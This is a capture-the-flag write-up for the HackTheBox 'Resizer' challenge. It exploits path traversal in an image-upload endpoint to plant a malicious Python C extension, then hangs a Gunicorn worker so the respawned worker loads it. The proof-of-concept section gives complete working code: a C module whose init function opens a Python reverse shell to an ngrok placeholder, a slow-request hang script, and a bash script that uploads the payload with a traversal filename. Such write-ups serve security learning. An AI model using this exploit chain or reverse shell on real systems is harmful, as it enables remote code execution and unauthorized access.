đźš© HTB - Resizer

Executive Summary

  • OS: Linux
  • Key Technique: The challenge contains an arbitrary file write vulnerability via path traversal in the image upload endpoint. Because the application only blacklists .py and .pyc extensions, an attacker can upload a compiled Python C-extension (.so file) into the application’s utils directory. By initiating a socket hang attack, the attacker forces the synchronous Gunicorn worker to time out and restart. Upon respawning, Python’s module resolution precedence causes the new worker to load the injected .so file instead of the legitimate .py module, granting an interactive reverse shell.
  • Status: Completed

Reconnaissance

Configuration

The application installed a handful of packages. The installed version of Pillow (10.2.0) is vulnerable to buffer overflow attack (CVE-2024-28219)

center

First Look

The application is serving a simple image resizing service. It has a file upload endpoint where we can upload our image and receive our image back as a, downloadable attachment.

center

center

Inside the main application file app.py, we can see exactly how the images are processed.

First, when the request arrived they are passed through a number of extension and content-type filters. This is dangerous because:

  1. It only checks for extensions and content-type of the file attached to the incoming request, not the actual content.
  2. It uses a blacklist which can be easily spoofed and/or bypassed.

After the file is uploaded, it is saved onto the system and then being passed to the resize function (imported from/app/utils/helpers.py into /app/utils/resizer.py).

center

Exploitation

The first thing I did was adding some debug code to look at the dataflow of the application and seeing how things go. I tried uploading a normal image:

center

Let’s try changing the path to a path traversal payload:

center

center

Path traversal succeeded. This mean we can add arbitrary file into any places we have write permission.

This prerequisite allows us to consider an attack called Python - C-Extension Precedence Hijacking or Python Module Hijacking.

What is it?

  • Concept: An exploitation technique that leverages CPython’s module resolution order. When Python imports a module, it prioritizes compiled C extensions (.so on Linux) over standard Python source files (.py) if both exist in the same directory. By dropping a malicious .so file adjacent to a legitimate .py file, an attacker can hijack the import process without needing to overwrite the original file.
  • Impact: Remote Code Execution (RCE), Local Privilege Escalation (LPE), or Persistence.
Link to original

These are the prerequisites for the attack to work:

Circular transclusion detected: 05---Content/Python---C-Extension-Precedence-Hijacking

To execute this, we can either write into the /site-packages directory (which is the directory where python pip store installed packages or Library) or write into the /app/utils folder that stores custom helper dependencies.

center

The /site-packages is not writable by the application (which is run under the app user according to supervisord.conf) so it left us with writing into the /app/utils folder, prerequisite 1 and 2 are satisfied.

center

This being a white box challenge also allows us to know the Python and the OS version of the remote target. In order to compile an .so file we just need to run this command:

docker run --rm -v $(pwd):/app -w /app python:3.12 gcc -shared -o helpers.so -fPIC -I/usr/local/include/python3.12 helpers.c

The only prerequisite we need to satisfy is finding a reliable way to force the application to restart.

Slowloris Attack on Gunicorn

Gunicorn (aka. Green Unicorn) is a production-grade Python wSGI HTTP server for UNIX environments.

Basically, what it does is to take in a HTTP request in bytes and translate it into a python wSGI dictionary and pass it to the Flask app logic. The Flask app logic, being run by the gunicorn worker, translates the incoming dictionary into its native request object to perform the work.

This is what a normal wSGI environ dictionary looks like:

center

If you look closely, there will be some familiar terms that we often see in a normal HTTP request like CONTENT-TYPE or HTTP_USER_AGENT.

Then what is a worker? Worker in general is a process spawn by the gunicorn master process to listen to the network socket for incoming wSGI dictionaries, hold the Flask app in its allocated memory, execute the code based on the request and send out the response.

center

Looking at the ps -auf output above we can see that the Gunicorn server is running with 5 workers at the time.

According to the Azure OSS Developer Support’s documentation on Gunicorn configurations there is a no --worker-class assigned so it is default to synchronous workers. The default timeout for workers in Gunicorn is 30 seconds.

Since the synchronous workers means it can only listen to one request at a time, by sending an incomplete request, the connection will be left open until the master process k1lls the workers (the 30-second timeout) and re-spawns a new one.

When a new one is respawn it has to load the Flask app in its memory, so it will do the import process again, this time, since we’re already uploaded the malicious helpers.so file onto the system, this will execute the code inside the shared object file and complete our Python - C-Extension Precedence Hijacking attack.

Proof of Concept

helpers.c:

#include <Python.h>
#include <stdlib.h>
 
static PyModuleDef helpersmodule = {
    PyModuleDef_HEAD_INIT,
    "helpers",
    NULL,
    -1,
    NULL, NULL, NULL, NULL, NULL
};
 
PyMODINIT_FUNC PyInit_helpers(void) {
    system("python3 -c \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<YOUR_NGROK_TCP_IP>',<YOUR_NGROK_TCP_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/usr/bin/bash')\" &");
    
    return PyModule_Create(&helpersmodule);
}
 

hang.py

import socket
import time
import sys
 
if len(sys.argv) < 3:
    print("Usage: python3 hang.py <TARGET_IP> <TARGET_PORT>")
    sys.exit(1)
 
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
 
print(f"[*] Connecting to {target_ip}:{target_port}")
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
 
headers = (
    "POST /resize HTTP/1.1\r\n"
    f"Host: {target_ip}\r\n"
    "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\r\n"
    "Content-Length: 9999999\r\n"
    "\r\n"
    "------WebKitFormBoundary\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"fake.png\"\r\n"
    "Content-Type: image/png\r\n"
    "\r\n"
)
s.send(headers.encode('utf-8'))
print("[+] Headers sent.")
 
try:
    for i in range(1, 36):
        time.sleep(1)
        sys.stdout.write(f"\r[+] Hanging... {i}s")
        sys.stdout.flush()
        
except Exception as e:
    print(f"\n[-] Socket error: {e}")
 
s.close()

exploit.sh

#!/bin/bash
 
if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <TARGET_IP> <TARGET_PORT>"
    exit 1
fi
 
TARGET_IP=$1
TARGET_PORT=$2
TARGET_URL="http://${TARGET_IP}:${TARGET_PORT}/resize"
 
if [ ! -f "helpers.so" ]; then
    echo "[*] helpers.so not found. Looking for helpers.c..."
    
    if [ -f "helpers.c" ]; then
        echo "[+] Found helpers.c! Compiling..."
        docker run --rm -v "$(pwd):/app" -w /app python:3.12 gcc -shared -o helpers.so -fPIC -I/usr/local/include/python3.12 helpers.c
        
        if [ $? -ne 0 ]; then
            echo "[-] Error: Compilation failed. Please check your C code."
            exit 1
        fi
        
        echo "[+] Compilation successful."
    else
        echo "[-] Error: Neither helpers.so nor helpers.c found in the current directory."
        exit 1
    fi
fi
 
if [ ! -f "hang.py" ]; then
    echo "[-] Error: hang.py not found in current directory."
    exit 1
fi
 
echo "[*] Uploading helpers.so"
UPLOAD_RESPONSE=$(curl -s -X POST "${TARGET_URL}" \
  -F "file=@helpers.so;filename=../../../../../../../app/utils/helpers.so")
 
echo "[+] Upload request sent."
sleep 1
 
echo "[*] Executing hang.py"
python3 hang.py "${TARGET_IP}" ${TARGET_PORT}

Note: Make sure to run nc -nvlp <port> and route it through a ngrok tunnel before running exploit.sh


Loot & Flags

Flag: HTB{4b1641af8f32561b51af7d5bb28dd90e}

Notes:

  • For anyone who wonders why the CVE-2024-28219 was not used to cause a system crash by triggering a segmentation fault via buffer overflow, this is because the code base used from PIL import Image, if you look at the source code for the Image module here you’ll notice that none of the used function (open(), save() and resize()) routes its data through _imagingcms.c or importing ImageCms module to trigger the vulnerability, so it is not possible to use this CVE in this challenge.